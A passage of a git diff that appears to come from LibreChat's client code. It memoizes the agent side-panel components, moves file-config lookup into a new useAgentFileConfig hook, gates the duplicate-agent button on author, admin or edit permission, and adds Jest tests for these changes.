+  (prevProps, nextProps) => prevProps.avatar?.filepath === nextProps.avatar?.filepath,
+);
+MemoizedAvatar.displayName = 'Avatar';
+
+export default MemoizedAvatar;
diff --git a/client/src/components/SidePanel/Agents/AgentCategorySelector.tsx b/client/src/components/SidePanel/Agents/AgentCategorySelector.tsx
index 5840fe0f12..4485c0b08d 100644
--- a/client/src/components/SidePanel/Agents/AgentCategorySelector.tsx
+++ b/client/src/components/SidePanel/Agents/AgentCategorySelector.tsx
@@ -1,4 +1,4 @@
-import React, { useState } from 'react';
+import React, { memo, useState } from 'react';
 import { ControlCombobox } from '@librechat/client';
 import {
   useWatch,
@@ -95,4 +95,10 @@ const AgentCategorySelector: React.FC<{ className?: string }> = ({ className })
   );
 };
 
-export default AgentCategorySelector;
+const MemoizedAgentCategorySelector = memo(
+  AgentCategorySelector,
+  (prevProps, nextProps) => prevProps.className === nextProps.className,
+);
+MemoizedAgentCategorySelector.displayName = 'AgentCategorySelector';
+
+export default MemoizedAgentCategorySelector;
diff --git a/client/src/components/SidePanel/Agents/AgentFooter.tsx b/client/src/components/SidePanel/Agents/AgentFooter.tsx
index b2fa996596..ff98f7c48b 100644
--- a/client/src/components/SidePanel/Agents/AgentFooter.tsx
+++ b/client/src/components/SidePanel/Agents/AgentFooter.tsx
@@ -57,6 +57,7 @@ export default function AgentFooter({
     useResourcePermissions(ResourceType.REMOTE_AGENT, agent?._id || '');
 
   const canShareThisAgent = hasPermission(PermissionBits.SHARE);
+  const canEditThisAgent = hasPermission(PermissionBits.EDIT);
   const canDeleteThisAgent = hasPermission(PermissionBits.DELETE);
   const canShareRemoteAgent = hasRemoteAgentPermission(PermissionBits.SHARE);
   const isSaving = createMutation.isLoading || updateMutation.isLoading || isAvatarUploading;
@@ -118,7 +119,8 @@ export default function AgentFooter({
               </button>
             </GenericGrantAccessDialog>
           )}
-        {agent && agent.author === user?.id && <DuplicateAgent agent_id={agent_id} />}
+        {(agent?.author === user?.id || user?.role === SystemRoles.ADMIN || canEditThisAgent) &&
+          !permissionsLoading && <DuplicateAgent agent_id={agent_id} />}
         {/* Submit Button */}
         <button
           className="btn btn-primary focus:shadow-outline flex h-9 w-full items-center justify-center px-4 py-2 font-semibold text-white hover:bg-green-600 focus:border-green-500"
diff --git a/client/src/components/SidePanel/Agents/AgentPanelSwitch.tsx b/client/src/components/SidePanel/Agents/AgentPanelSwitch.tsx
index a819de7deb..bfa148b3ab 100644
--- a/client/src/components/SidePanel/Agents/AgentPanelSwitch.tsx
+++ b/client/src/components/SidePanel/Agents/AgentPanelSwitch.tsx
@@ -1,10 +1,11 @@
 import { useEffect } from 'react';
+import { useRecoilValue } from 'recoil';
 import { AgentPanelProvider, useAgentPanelContext } from '~/Providers/AgentPanelContext';
 import { Panel, isEphemeralAgent } from '~/common';
 import VersionPanel from './Version/VersionPanel';
-import { useChatContext } from '~/Providers';
 import ActionsPanel from './ActionsPanel';
 import AgentPanel from './AgentPanel';
+import store from '~/store';
 
 export default function AgentPanelSwitch() {
   return (
@@ -15,15 +16,15 @@ export default function AgentPanelSwitch() {
 }
 
 function AgentPanelSwitchWithContext() {
-  const { conversation } = useChatContext();
   const { activePanel, setCurrentAgentId } = useAgentPanelContext();
+  const agentId = useRecoilValue(store.conversationAgentIdByIndex(0));
 
   useEffect(() => {
-    const agent_id = conversation?.agent_id ?? '';
+    const agent_id = agentId ?? '';
     if (!isEphemeralAgent(agent_id)) {
       setCurrentAgentId(agent_id);
     }
-  }, [setCurrentAgentId, conversation?.agent_id]);
+  }, [setCurrentAgentId, agentId]);
 
   if (activePanel === Panel.actions) {
     return <ActionsPanel />;
diff --git a/client/src/components/SidePanel/Agents/AgentSelect.tsx b/client/src/components/SidePanel/Agents/AgentSelect.tsx
index a9e4ef7036..323136340e 100644
--- a/client/src/components/SidePanel/Agents/AgentSelect.tsx
+++ b/client/src/components/SidePanel/Agents/AgentSelect.tsx
@@ -1,6 +1,6 @@
 import { EarthIcon } from 'lucide-react';
 import { ControlCombobox } from '@librechat/client';
-import { useCallback, useEffect, useRef } from 'react';
+import { memo, useCallback, useEffect, useRef } from 'react';
 import { useFormContext, Controller } from 'react-hook-form';
 import { AgentCapabilities, defaultAgentFormValues } from 'librechat-data-provider';
 import type { UseMutationResult, QueryObserverResult } from '@tanstack/react-query';
@@ -12,7 +12,7 @@ import { useListAgentsQuery } from '~/data-provider';
 
 const keys = new Set(Object.keys(defaultAgentFormValues));
 
-export default function AgentSelect({
+function AgentSelect({
   agentQuery,
   selectedAgentId = null,
   setCurrentAgentId,
@@ -225,3 +225,16 @@ export default function AgentSelect({
     />
   );
 }
+
+const MemoizedAgentSelect = memo(
+  AgentSelect,
+  (prevProps, nextProps) =>
+    prevProps.selectedAgentId === nextProps.selectedAgentId &&
+    prevProps.agentQuery.data === nextProps.agentQuery.data &&
+    prevProps.agentQuery.isSuccess === nextProps.agentQuery.isSuccess &&
+    prevProps.createMutation.data?.id === nextProps.createMutation.data?.id &&
+    prevProps.createMutation.isLoading === nextProps.createMutation.isLoading,
+);
+MemoizedAgentSelect.displayName = 'AgentSelect';
+
+export default MemoizedAgentSelect;
diff --git a/client/src/components/SidePanel/Agents/Code/Files.tsx b/client/src/components/SidePanel/Agents/Code/Files.tsx
index 3ef7da9ca6..16360a7a0b 100644
--- a/client/src/components/SidePanel/Agents/Code/Files.tsx
+++ b/client/src/components/SidePanel/Agents/Code/Files.tsx
@@ -1,23 +1,16 @@
-import { useState, useRef } from 'react';
+import { memo, useMemo, useRef, useState } from 'react';
 import { useFormContext } from 'react-hook-form';
 import { AttachmentIcon } from '@librechat/client';
-import {
-  EToolResources,
-  EModelEndpoint,
-  mergeFileConfig,
-  AgentCapabilities,
-  getEndpointFileConfig,
-} from 'librechat-data-provider';
+import { EToolResources, EModelEndpoint, AgentCapabilities } from 'librechat-data-provider';
 import type { ExtendedFile, AgentForm } from '~/common';
-import { useFileHandling, useLocalize, useLazyEffect } from '~/hooks';
+import { useFileHandlingNoChatContext } from '~/hooks/Files/useFileHandling';
+import { useAgentFileConfig, useLocalize, useLazyEffect } from '~/hooks';
 import FileRow from '~/components/Chat/Input/Files/FileRow';
-import { useGetFileConfig } from '~/data-provider';
-import { useChatContext } from '~/Providers';
 import { isEphemeralAgent } from '~/common';
 
 const tool_resource = EToolResources.execute_code;
 
-export default function Files({
+function Files({
   agent_id,
   files: _files,
 }: {
@@ -25,17 +18,21 @@ export default function Files({
   files?: [string, ExtendedFile][];
 }) {
   const localize = useLocalize();
-  const { setFilesLoading } = useChatContext();
   const { watch } = useFormContext<AgentForm>();
   const fileInputRef = useRef<HTMLInputElement>(null);
   const [files, setFiles] = useState<Map<string, ExtendedFile>>(new Map());
-  const { data: fileConfig = null } = useGetFileConfig({
-    select: (data) => mergeFileConfig(data),
-  });
-  const { abortUpload, handleFileChange } = useFileHandling({
-    fileSetter: setFiles,
-    additionalMetadata: { agent_id, tool_resource },
-  });
+  const fileHandlingState = useMemo(() => ({ files, setFiles, conversation: null }), [files]);
+  const { endpointFileConfig, providerValue, endpointType } = useAgentFileConfig();
+  const endpointOverride = providerValue || EModelEndpoint.agents;
+  const { abortUpload, handleFileChange } = useFileHandlingNoChatContext(
+    {
+      fileSetter: setFiles,
+      additionalMetadata: { agent_id, tool_resource },
+      endpointOverride,
+      endpointTypeOverride: endpointType,
+    },
+    fileHandlingState,
+  );
 
   useLazyEffect(
     () => {
@@ -48,12 +45,6 @@ export default function Files({
   );
 
   const codeChecked = watch(AgentCapabilities.execute_code);
-
-  const endpointFileConfig = getEndpointFileConfig({
-    fileConfig,
-    endpoint: EModelEndpoint.agents,
-    endpointType: EModelEndpoint.agents,
-  });
   const isUploadDisabled = endpointFileConfig?.disabled ?? false;
 
   if (isUploadDisabled) {
@@ -80,7 +71,6 @@ export default function Files({
           agent_id={agent_id}
           abortUpload={abortUpload}
           tool_resource={tool_resource}
-          setFilesLoading={setFilesLoading}
           Wrapper={({ children }) => <div className="flex flex-wrap gap-2">{children}</div>}
         />
         <div>
@@ -109,3 +99,8 @@ export default function Files({
     </div>
   );
 }
+
+const MemoizedFiles = memo(Files);
+MemoizedFiles.displayName = 'Files';
+
+export default MemoizedFiles;
diff --git a/client/src/components/SidePanel/Agents/DeleteButton.tsx b/client/src/components/SidePanel/Agents/DeleteButton.tsx
index 9758f80abe..a738e382b3 100644
--- a/client/src/components/SidePanel/Agents/DeleteButton.tsx
+++ b/client/src/components/SidePanel/Agents/DeleteButton.tsx
@@ -1,4 +1,6 @@
+import { memo } from 'react';
 import { useFormContext } from 'react-hook-form';
+import { useRecoilValue, useSetRecoilState } from 'recoil';
 import {
   Label,
   Button,
@@ -11,12 +13,12 @@ import {
 import type { Agent, AgentCreateParams } from 'librechat-data-provider';
 import type { UseMutationResult } from '@tanstack/react-query';
 import { logger, getDefaultAgentFormValues } from '~/utils';
-import { useLocalize, useSetIndexOptions } from '~/hooks';
 import { useDeleteAgentMutation } from '~/data-provider';
-import { useChatContext } from '~/Providers';
 import { isEphemeralAgent } from '~/common';
+import { useLocalize } from '~/hooks';
+import store from '~/store';
 
-export default function DeleteButton({
+function DeleteButton({
   agent_id,
   setCurrentAgentId,
   createMutation,
@@ -28,8 +30,8 @@ export default function DeleteButton({
   const localize = useLocalize();
   const { reset } = useFormContext();
   const { showToast } = useToastContext();
-  const { conversation } = useChatContext();
-  const { setOption } = useSetIndexOptions();
+  const setConversation = useSetRecoilState(store.conversationByIndex(0));
+  const conversationAgentId = useRecoilValue(store.conversationAgentIdByIndex(0));
 
   const deleteAgent = useDeleteAgentMutation({
     onSuccess: (_, vars, context) => {
@@ -52,15 +54,16 @@ export default function DeleteButton({
       if (!firstAgent) {
         setCurrentAgentId(undefined);
         reset(getDefaultAgentFormValues());
-        return setOption('agent_id')('');
+        setConversation((prev) => (prev ? { ...prev, agent_id: '' } : prev));
+        return;
       }
 
-      if (vars.agent_id === conversation?.agent_id) {
-        setOption('model')('');
-        return setOption('agent_id')(firstAgent.id);
+      if (vars.agent_id === conversationAgentId) {
+        setConversation((prev) => (prev ? { ...prev, model: '', agent_id: firstAgent.id } : prev));
+        return;
       }
 
-      const currentAgent = updatedList.find((agent) => agent.id === conversation?.agent_id);
+      const currentAgent = updatedList.find((agent) => agent.id === conversationAgentId);
 
       if (currentAgent) {
         setCurrentAgentId(currentAgent.id);
@@ -88,6 +91,7 @@ export default function DeleteButton({
           size="sm"
           variant="outline"
           aria-label={localize('com_ui_delete_agent')}
+          title={localize('com_ui_delete_agent')}
           type="button"
         >
           <div className="flex w-full items-center justify-center gap-2 text-red-500">
@@ -118,3 +122,15 @@ export default function DeleteButton({
     </OGDialog>
   );
 }
+
+const MemoizedDeleteButton = memo(
+  DeleteButton,
+  (prevProps, nextProps) =>
+    prevProps.agent_id === nextProps.agent_id &&
+    prevProps.setCurrentAgentId === nextProps.setCurrentAgentId &&
+    prevProps.createMutation.data?.id === nextProps.createMutation.data?.id &&
+    prevProps.createMutation.isLoading === nextProps.createMutation.isLoading,
+);
+MemoizedDeleteButton.displayName = 'DeleteButton';
+
+export default MemoizedDeleteButton;
diff --git a/client/src/components/SidePanel/Agents/DuplicateAgent.tsx b/client/src/components/SidePanel/Agents/DuplicateAgent.tsx
index 089dea0732..1e598d528d 100644
--- a/client/src/components/SidePanel/Agents/DuplicateAgent.tsx
+++ b/client/src/components/SidePanel/Agents/DuplicateAgent.tsx
@@ -37,6 +37,7 @@ export default function DuplicateAgent({ agent_id }: { agent_id: string }) {
       size="sm"
       variant="outline"
       aria-label={localize('com_ui_duplicate_agent')}
+      title={localize('com_ui_duplicate_agent')}
       type="button"
       onClick={handleDuplicate}
     >
diff --git a/client/src/components/SidePanel/Agents/FileContext.tsx b/client/src/components/SidePanel/Agents/FileContext.tsx
index d437e8457f..906d742127 100644
--- a/client/src/components/SidePanel/Agents/FileContext.tsx
+++ b/client/src/components/SidePanel/Agents/FileContext.tsx
@@ -1,12 +1,7 @@
-import { useState, useRef } from 'react';
+import { memo, useMemo, useRef, useState } from 'react';
 import { Folder } from 'lucide-react';
 import * as Ariakit from '@ariakit/react';
-import {
-  EModelEndpoint,
-  EToolResources,
-  mergeFileConfig,
-  getEndpointFileConfig,
-} from 'librechat-data-provider';
+import { EModelEndpoint, EToolResources } from 'librechat-data-provider';
 import {
   HoverCard,
   DropdownPopup,
@@ -18,14 +13,15 @@ import {
   HoverCardTrigger,
 } from '@librechat/client';
 import type { ExtendedFile } from '~/common';
-import { useFileHandling, useLocalize, useLazyEffect, useSharePointFileHandling } from '~/hooks';
-import { useGetFileConfig, useGetStartupConfig } from '~/data-provider';
+import { useSharePointFileHandlingNoChatContext } from '~/hooks/Files/useSharePointFileHandling';
+import { useFileHandlingNoChatContext } from '~/hooks/Files/useFileHandling';
+import { useAgentFileConfig, useLocalize, useLazyEffect } from '~/hooks';
 import { SharePointPickerDialog } from '~/components/SharePoint';
 import FileRow from '~/components/Chat/Input/Files/FileRow';
+import { useGetStartupConfig } from '~/data-provider';
 import { ESide, isEphemeralAgent } from '~/common';
-import { useChatContext } from '~/Providers';
 
-export default function FileContext({
+function FileContext({
   agent_id,
   files: _files,
 }: {
@@ -33,26 +29,35 @@ export default function FileContext({
   files?: [string, ExtendedFile][];
 }) {
   const localize = useLocalize();
-  const { setFilesLoading } = useChatContext();
   const fileInputRef = useRef<HTMLInputElement>(null);
   const [files, setFiles] = useState<Map<string, ExtendedFile>>(new Map());
+  const fileHandlingState = useMemo(() => ({ files, setFiles, conversation: null }), [files]);
   const [isPopoverActive, setIsPopoverActive] = useState(false);
   const [isSharePointDialogOpen, setIsSharePointDialogOpen] = useState(false);
   const { data: startupConfig } = useGetStartupConfig();
   const sharePointEnabled = startupConfig?.sharePointFilePickerEnabled;
+  const { endpointFileConfig, providerValue, endpointType } = useAgentFileConfig();
+  const endpointOverride = providerValue || EModelEndpoint.agents;
 
-  const { data: fileConfig = null } = useGetFileConfig({
-    select: (data) => mergeFileConfig(data),
-  });
-
-  const { handleFileChange } = useFileHandling({
-    additionalMetadata: { agent_id, tool_resource: EToolResources.context },
-    fileSetter: setFiles,
-  });
-  const { handleSharePointFiles, isProcessing, downloadProgress } = useSharePointFileHandling({
-    additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
-    fileSetter: setFiles,
-  });
+  const { handleFileChange } = useFileHandlingNoChatContext(
+    {
+      additionalMetadata: { agent_id, tool_resource: EToolResources.context },
+      endpointOverride,
+      endpointTypeOverride: endpointType,
+      fileSetter: setFiles,
+    },
+    fileHandlingState,
+  );
+  const { handleSharePointFiles, isProcessing, downloadProgress } =
+    useSharePointFileHandlingNoChatContext(
+      {
+        additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
+        endpointOverride,
+        endpointTypeOverride: endpointType,
+        fileSetter: setFiles,
+      },
+      fileHandlingState,
+    );
   useLazyEffect(
     () => {
       if (_files) {
@@ -62,12 +67,6 @@ export default function FileContext({
     [_files],
     750,
   );
-
-  const endpointFileConfig = getEndpointFileConfig({
-    fileConfig,
-    endpoint: EModelEndpoint.agents,
-    endpointType: EModelEndpoint.agents,
-  });
   const isUploadDisabled = endpointFileConfig?.disabled ?? false;
   const handleSharePointFilesSelected = async (sharePointFiles: any[]) => {
     try {
@@ -136,7 +135,6 @@ export default function FileContext({
         <FileRow
           files={files}
           setFiles={setFiles}
-          setFilesLoading={setFilesLoading}
           agent_id={agent_id}
           tool_resource={EToolResources.context}
           Wrapper={({ children }) => <div className="flex flex-wrap gap-2">{children}</div>}
@@ -197,3 +195,8 @@ export default function FileContext({
     </div>
   );
 }
+
+const MemoizedFileContext = memo(FileContext);
+MemoizedFileContext.displayName = 'FileContext';
+
+export default MemoizedFileContext;
diff --git a/client/src/components/SidePanel/Agents/FileSearch.tsx b/client/src/components/SidePanel/Agents/FileSearch.tsx
index a82fc8bdfb..79a08de0ed 100644
--- a/client/src/components/SidePanel/Agents/FileSearch.tsx
+++ b/client/src/components/SidePanel/Agents/FileSearch.tsx
@@ -1,26 +1,20 @@
-import { useState, useRef } from 'react';
+import { memo, useMemo, useRef, useState } from 'react';
 import { Folder } from 'lucide-react';
 import * as Ariakit from '@ariakit/react';
 import { useFormContext } from 'react-hook-form';
 import { SharePointIcon, AttachmentIcon, DropdownPopup } from '@librechat/client';
-import {
-  EModelEndpoint,
-  EToolResources,
-  mergeFileConfig,
-  AgentCapabilities,
-  getEndpointFileConfig,
-} from 'librechat-data-provider';
+import { EModelEndpoint, EToolResources, AgentCapabilities } from 'librechat-data-provider';
 import type { ExtendedFile, AgentForm } from '~/common';
-import useSharePointFileHandling from '~/hooks/Files/useSharePointFileHandling';
-import { useGetFileConfig, useGetStartupConfig } from '~/data-provider';
-import { useFileHandling, useLocalize, useLazyEffect } from '~/hooks';
+import { useSharePointFileHandlingNoChatContext } from '~/hooks/Files/useSharePointFileHandling';
+import { useFileHandlingNoChatContext } from '~/hooks/Files/useFileHandling';
+import { useAgentFileConfig, useLocalize, useLazyEffect } from '~/hooks';
 import { SharePointPickerDialog } from '~/components/SharePoint';
 import FileRow from '~/components/Chat/Input/Files/FileRow';
+import { useGetStartupConfig } from '~/data-provider';
 import FileSearchCheckbox from './FileSearchCheckbox';
-import { useChatContext } from '~/Providers';
 import { isEphemeralAgent } from '~/common';
 
-export default function FileSearch({
+function FileSearch({
   agent_id,
   files: _files,
 }: {
@@ -28,29 +22,38 @@ export default function FileSearch({
   files?: [string, ExtendedFile][];
 }) {
   const localize = useLocalize();
-  const { setFilesLoading } = useChatContext();
   const { watch } = useFormContext<AgentForm>();
   const fileInputRef = useRef<HTMLInputElement>(null);
   const [files, setFiles] = useState<Map<string, ExtendedFile>>(new Map());
+  const fileHandlingState = useMemo(() => ({ files, setFiles, conversation: null }), [files]);
   const [isPopoverActive, setIsPopoverActive] = useState(false);
   const [isSharePointDialogOpen, setIsSharePointDialogOpen] = useState(false);
 
   // Get startup configuration for SharePoint feature flag
   const { data: startupConfig } = useGetStartupConfig();
+  const { endpointFileConfig, providerValue, endpointType } = useAgentFileConfig();
+  const endpointOverride = providerValue || EModelEndpoint.agents;
 
-  const { data: fileConfig = null } = useGetFileConfig({
-    select: (data) => mergeFileConfig(data),
-  });
+  const { handleFileChange } = useFileHandlingNoChatContext(
+    {
+      additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
+      endpointOverride,
+      endpointTypeOverride: endpointType,
+      fileSetter: setFiles,
+    },
+    fileHandlingState,
+  );
 
-  const { handleFileChange } = useFileHandling({
-    additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
-    fileSetter: setFiles,
-  });
-
-  const { handleSharePointFiles, isProcessing, downloadProgress } = useSharePointFileHandling({
-    additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
-    fileSetter: setFiles,
-  });
+  const { handleSharePointFiles, isProcessing, downloadProgress } =
+    useSharePointFileHandlingNoChatContext(
+      {
+        additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
+        endpointOverride,
+        endpointTypeOverride: endpointType,
+        fileSetter: setFiles,
+      },
+      fileHandlingState,
+    );
 
   useLazyEffect(
     () => {
@@ -63,12 +66,6 @@ export default function FileSearch({
   );
 
   const fileSearchChecked = watch(AgentCapabilities.file_search);
-
-  const endpointFileConfig = getEndpointFileConfig({
-    fileConfig,
-    endpoint: EModelEndpoint.agents,
-    endpointType: EModelEndpoint.agents,
-  });
   const isUploadDisabled = endpointFileConfig?.disabled ?? false;
 
   const sharePointEnabled = startupConfig?.sharePointFilePickerEnabled;
@@ -141,7 +138,6 @@ export default function FileSearch({
         <FileRow
           files={files}
           setFiles={setFiles}
-          setFilesLoading={setFilesLoading}
           agent_id={agent_id}
           tool_resource={EToolResources.file_search}
           Wrapper={({ children }) => <div className="flex flex-wrap gap-2">{children}</div>}
@@ -201,3 +197,8 @@ export default function FileSearch({
     </div>
   );
 }
+
+const MemoizedFileSearch = memo(FileSearch);
+MemoizedFileSearch.displayName = 'FileSearch';
+
+export default MemoizedFileSearch;
diff --git a/client/src/components/SidePanel/Agents/__tests__/AgentFileConfig.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/AgentFileConfig.spec.tsx
new file mode 100644
index 0000000000..aeb0dd3ff9
--- /dev/null
+++ b/client/src/components/SidePanel/Agents/__tests__/AgentFileConfig.spec.tsx
@@ -0,0 +1,151 @@
+import React from 'react';
+import { render, screen } from '@testing-library/react';
+import { useForm, FormProvider } from 'react-hook-form';
+import { EModelEndpoint, mergeFileConfig, resolveEndpointType } from 'librechat-data-provider';
+import type { TEndpointsConfig } from 'librechat-data-provider';
+import type { AgentForm } from '~/common';
+import useAgentFileConfig from '~/hooks/Agents/useAgentFileConfig';
+
+/**
+ * Tests the useAgentFileConfig hook used by FileContext, FileSearch, and Code/Files.
+ * Uses the real hook with mocked data-fetching layer.
+ */
+
+const mockEndpointsConfig: TEndpointsConfig = {
+  [EModelEndpoint.openAI]: { userProvide: false, order: 0 },
+  [EModelEndpoint.agents]: { userProvide: false, order: 1 },
+  Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+  'Some Endpoint': { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+};
+
+let mockFileConfig = mergeFileConfig({
+  endpoints: {
+    Moonshot: { fileLimit: 5 },
+    [EModelEndpoint.agents]: { fileLimit: 20 },
+    default: { fileLimit: 10 },
+  },
+});
+
+jest.mock('~/data-provider', () => ({
+  useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
+  useGetFileConfig: ({ select }: { select?: (data: unknown) => unknown }) => ({
+    data: select != null ? select(mockFileConfig) : mockFileConfig,
+  }),
+}));
+
+function FileConfigProbe() {
+  const { endpointType, endpointFileConfig } = useAgentFileConfig();
+  return (
+    <div>
+      <span data-testid="endpointType">{String(endpointType)}</span>
+      <span data-testid="fileLimit">{endpointFileConfig.fileLimit}</span>
+      <span data-testid="disabled">{String(endpointFileConfig.disabled ?? false)}</span>
+    </div>
+  );
+}
+
+function TestWrapper({ provider }: { provider?: string | { label: string; value: string } }) {
+  const methods = useForm<AgentForm>({
+    defaultValues: { provider: provider as AgentForm['provider'] },
+  });
+  return (
+    <FormProvider {...methods}>
+      <FileConfigProbe />
+    </FormProvider>
+  );
+}
+
+describe('AgentPanel file config resolution (useAgentFileConfig)', () => {
+  describe('endpointType resolution from form provider', () => {
+    it('resolves to custom when provider is a custom endpoint string', () => {
+      render(<TestWrapper provider="Moonshot" />);
+      expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.custom);
+    });
+
+    it('resolves to custom when provider is a custom endpoint with spaces', () => {
+      render(<TestWrapper provider="Some Endpoint" />);
+      expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.custom);
+    });
+
+    it('resolves to openAI when provider is openAI', () => {
+      render(<TestWrapper provider={EModelEndpoint.openAI} />);
+      expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.openAI);
+    });
+
+    it('falls back to agents when provider is undefined', () => {
+      render(<TestWrapper />);
+      expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.agents);
+    });
+
+    it('falls back to agents when provider is empty string', () => {
+      render(<TestWrapper provider="" />);
+      expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.agents);
+      expect(screen.getByTestId('fileLimit').textContent).toBe('20');
+    });
+
+    it('falls back to agents when provider option has empty value', () => {
+      render(<TestWrapper provider={{ label: '', value: '' }} />);
+      expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.agents);
+      expect(screen.getByTestId('fileLimit').textContent).toBe('20');
+    });
+
+    it('resolves correctly when provider is an option object', () => {
+      render(<TestWrapper provider={{ label: 'Moonshot', value: 'Moonshot' }} />);
+      expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.custom);
+    });
+  });
+
+  describe('file config fallback chain', () => {
+    it('uses Moonshot-specific file config when provider is Moonshot', () => {
+      render(<TestWrapper provider="Moonshot" />);
+      expect(screen.getByTestId('fileLimit').textContent).toBe('5');
+    });
+
+    it('falls back to agents file config when provider has no specific config', () => {
+      render(<TestWrapper provider="Some Endpoint" />);
+      expect(screen.getByTestId('fileLimit').textContent).toBe('20');
+    });
+
+    it('uses agents file config when no provider is set', () => {
+      render(<TestWrapper />);
+      expect(screen.getByTestId('fileLimit').textContent).toBe('20');
+    });
+
+    it('falls back to default config for openAI provider (no openAI-specific config)', () => {
+      render(<TestWrapper provider={EModelEndpoint.openAI} />);
+      expect(screen.getByTestId('fileLimit').textContent).toBe('10');
+    });
+  });
+
+  describe('disabled state', () => {
+    it('reports not disabled for standard config', () => {
+      render(<TestWrapper provider="Moonshot" />);
+      expect(screen.getByTestId('disabled').textContent).toBe('false');
+    });
+
+    it('reports disabled when provider-specific config is disabled', () => {
+      const original = mockFileConfig;
+      mockFileConfig = mergeFileConfig({
+        endpoints: {
+          Moonshot: { disabled: true },
+          [EModelEndpoint.agents]: { fileLimit: 20 },
+          default: { fileLimit: 10 },
+        },
+      });
+
+      render(<TestWrapper provider="Moonshot" />);
+      expect(screen.getByTestId('disabled').textContent).toBe('true');
+
+      mockFileConfig = original;
+    });
+  });
+
+  describe('consistency with direct custom endpoint', () => {
+    it('resolves to the same type as a direct custom endpoint would', () => {
+      render(<TestWrapper provider="Moonshot" />);
+      const agentEndpointType = screen.getByTestId('endpointType').textContent;
+      const directEndpointType = resolveEndpointType(mockEndpointsConfig, 'Moonshot');
+      expect(agentEndpointType).toBe(directEndpointType);
+    });
+  });
+});
diff --git a/client/src/components/SidePanel/Agents/__tests__/AgentFooter.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/AgentFooter.spec.tsx
index 8d882bffe8..cfceeacb33 100644
--- a/client/src/components/SidePanel/Agents/__tests__/AgentFooter.spec.tsx
+++ b/client/src/components/SidePanel/Agents/__tests__/AgentFooter.spec.tsx
@@ -362,9 +362,15 @@ describe('AgentFooter', () => {
         }
         return undefined;
       });
+      mockUseHasAccess.mockReturnValue(true);
+      mockUseResourcePermissions.mockReturnValue({
+        hasPermission: () => false,
+        isLoading: false,
+        permissionBits: 0,
+      });
       render(<AgentFooter {...defaultProps} />);
-      expect(screen.queryByTestId('grant-access-dialog-agent')).toBeInTheDocument(); // Still shows because hasAccess is true
-      expect(screen.queryByTestId('duplicate-agent')).not.toBeInTheDocument(); // Should not show for different author
+      expect(screen.queryByTestId('grant-access-dialog-agent')).not.toBeInTheDocument(); // No share permission
+      expect(screen.queryByTestId('duplicate-button')).not.toBeInTheDocument(); // No edit permission
     });
 
     test('adjusts UI based on permissions', () => {
@@ -420,7 +426,84 @@ describe('AgentFooter', () => {
       render(<AgentFooter {...defaultProps} />);
       expect(screen.queryByTestId('delete-button')).not.toBeInTheDocument();
       expect(screen.queryByTestId('grant-access-dialog-agent')).not.toBeInTheDocument();
-      // Duplicate button should still show as it doesn't depend on permissions loading
+      expect(screen.queryByTestId('duplicate-button')).not.toBeInTheDocument();
+    });
+
+    test('shows duplicate button for non-owner with EDIT permission', () => {
+      mockUseAuthContext.mockReturnValue(createAuthContext(mockUsers.different));
+      mockUseWatch.mockImplementation(({ name }) => {
+        if (name === 'agent') {
+          return {
+            _id: 'agent-db-123',
+            name: 'Test Agent',
+            author: 'user-123',
+            projectIds: ['project-1'],
+            isCollaborative: false,
+          };
+        }
+        if (name === 'id') {
+          return 'agent-123';
+        }
+        return undefined;
+      });
+      mockUseResourcePermissions.mockReturnValue({
+        hasPermission: (bit: number) => bit === 2,
+        isLoading: false,
+        permissionBits: 2,
+      });
+      render(<AgentFooter {...defaultProps} />);
+      expect(screen.getByTestId('duplicate-button')).toBeInTheDocument();
+    });
+
+    test('hides duplicate button for non-owner with only VIEW permission', () => {
+      mockUseAuthContext.mockReturnValue(createAuthContext(mockUsers.different));
+      mockUseWatch.mockImplementation(({ name }) => {
+        if (name === 'agent') {
+          return {
+            _id: 'agent-db-123',
+            name: 'Test Agent',
+            author: 'user-123',
+            projectIds: ['project-1'],
+            isCollaborative: false,
+          };
+        }
+        if (name === 'id') {
+          return 'agent-123';
+        }
+        return undefined;
+      });
+      mockUseResourcePermissions.mockReturnValue({
+        hasPermission: () => false,
+        isLoading: false,
+        permissionBits: 1,
+      });
+      render(<AgentFooter {...defaultProps} />);
+      expect(screen.queryByTestId('duplicate-button')).not.toBeInTheDocument();
+    });
+
+    test('shows duplicate button for admin who is not the author', () => {
+      mockUseAuthContext.mockReturnValue(createAuthContext(mockUsers.admin));
+      mockUseWatch.mockImplementation(({ name }) => {
+        if (name === 'agent') {
+          return {
+            _id: 'agent-db-123',
+            name: 'Test Agent',
+            author: 'user-123',
+            projectIds: ['project-1'],
+            isCollaborative: false,
+          };
+        }
+        if (name === 'id') {
+          return 'agent-123';
+        }
+        return undefined;
+      });
+      mockUseResourcePermissions.mockReturnValue({
+        hasPermission: () => false,
+        isLoading: false,
+        permissionBits: 0,
+      });
+      render(<AgentFooter {...defaultProps} />);
       expect(screen.getByTestId('duplicate-button')).toBeInTheDocument();
     });
   });
diff --git a/client/src/components/SidePanel/Agents/__tests__/CodeFiles.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/CodeFiles.spec.tsx
new file mode 100644
index 0000000000..0e965e4c84
--- /dev/null
+++ b/client/src/components/SidePanel/Agents/__tests__/CodeFiles.spec.tsx
@@ -0,0 +1,138 @@
+import React from 'react';
+import { render, screen } from '@testing-library/react';
+import { useForm, FormProvider } from 'react-hook-form';
+import { EModelEndpoint, mergeFileConfig } from 'librechat-data-provider';
+import type { TEndpointsConfig } from 'librechat-data-provider';
+import type { AgentForm } from '~/common';
+import Files from '../Code/Files';
+
+const mockEndpointsConfig: TEndpointsConfig = {
+  [EModelEndpoint.agents]: { userProvide: false, order: 1 },
